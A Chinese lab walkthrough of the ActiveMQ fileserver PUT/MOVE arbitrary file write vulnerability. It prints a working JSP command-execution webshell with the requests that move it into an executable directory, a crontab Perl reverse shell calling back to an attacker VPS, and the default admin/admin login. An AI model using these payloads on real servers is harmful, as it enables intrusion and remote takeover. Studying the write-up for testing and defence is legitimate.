背景简介
ActiveMQ Web控制台分为三个应用程序:admin,api和fileserver,其中admin是管理员页面,api是界面,fileserver是用于存储文件的界面;admin和api需要先登录才能使用,fileserver不需要登录。
文件服务器是RESTful API接口。我们可以通过HTTP请求(例如GET,PUT和DELETE)读写存储在其中的文件。设计目的是为了弥补消息队列操作无法传输和存储二进制文件但后来发现的缺陷:
- 使用率不高
- 文件操作容易产生漏洞
因此,ActiveMQ默认在5.12.x〜5.13.x中关闭文件服务器应用程序(您可以在conf / jetty.xml中打开它)。在5.14.0之后,文件服务器应用程序将被完全删除。
在测试过程中,您应注意ActiveMQ的版本,以防浪费精力。
漏洞详情
此漏洞出现在Fileserver应用程序中,漏洞原理实际上很简单,即文件服务器支持写入文件(但不解析JSP),同时支持移动文件(MOVE请求)。因此,我们只需要编写一个文件,然后使用移动请求将其移动到任何位置,就会导致任意文件写入漏洞。
漏洞利用
文件写入有几种利用方法:
1.写入webshell
2.写入cron或ssh key等文件
3.写入jar或jetty.xml等库和配置文件
编写webshell的优点是方便,但是文件服务器不需要解析jsp,admin和api都需要登录才能访问,因此有点徒劳。编写cron或ssh键的优点是直接反转Shell,这也很方便,缺点是您需要root权限;写jar,有点麻烦(需要jar后门),写xml配置文件,这种方法比较可靠,但是有一点徒劳:我们需要知道ActiveMQ的绝对路径。
接下来让我们试试这三种方法:
一.写入webshell
如前所述,Webshell必须使用Admin或Api应用程序编写,并且两个应用程序都必须登录才能访问。
默认的ActiveMQ帐户和密码为admin。
然后进入到首页下的fileserver这个文件夹下
bp抓包(刷新一下页面就行),然后发到重发器,改成PUT方法,写入shell,代码如下:
PUT /fileserver/1.txt HTTP/1.1 <% if("023".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>"); } %>
进入相应目录查看,发现确实已经写入shell文件,但是txt格式文件不能执行,所以需要转换成jsp格式的文件执行。
继续抓包,send to repeater ,改包方法改为MOVE,路径是Destination:file:///opt/activemq/webapps/api/testhacker.jsp因为api这个目录可以解析jsp文件
进入api目录查看点击新移动来的testhacker.jsp,网页空白就说明webshell上传成功
这时可以在url后面执行命令,成功返回结果
也可以上靶机的网站目录下看生成的文件
实验相关补充
写入webshell门槛低且方便,但是fileserver这个目录是没有jsp的执行权限的,想要执行jsp的webshell需要将jsp文件放入admin或者api目录中,这两个目录是具有jsp解析执行权限的,但是这两个目录又需要登录才能进入。所以当收到响应是4XX时,需要登录。
漏洞原理
根据上面的操作能发现,漏洞原理简单来说就是fileserver这个目录支持写入文件,并且这个目录支持move请求移动文件。因此,我们只需要写入一个文件,再通过move移动到能够解析jsp文件的目录下,进去执行就会造成任意文件写入漏洞。
流程就是:写入文件(put方法)——>移动文件(move方法)——>执行文件
二.写入crontab,利用定时任务反弹shell
这是一个比较稳健的方法。首先上传cron配置文件(注意,换行一定要`\n`,不能是`\r\n`,否则crontab执行会失败)。
直接网页访问yourip:port/fileserver并抓包,把以下代码写入抓的数据包中,并改为PUT方式,修改监听ip和端口
*/1 * * * * root /usr/bin/perl -e 'use Socket;$i="监听vps的IP";$p=监听端口;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
然后网页访问这个文件并抓包,将GET改为MOVE方式,把它移动到/etc/cron.d/root目录下,路径为Destination: file:///etc/cron.d/root
这个方法需要ActiveMQ是root运行,否则也不能写入cron文件。
如果以上两个请求都返回204,则写入成功。监听对应端口等待反弹shell:
第三种方法写入jetty.xml或jar不太懂,就不写了。
参考资料:
来源:freebuf.com 2020-12-18 22:34:38 by: djroot
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
喜欢就支持一下吧
请登录后发表评论
注册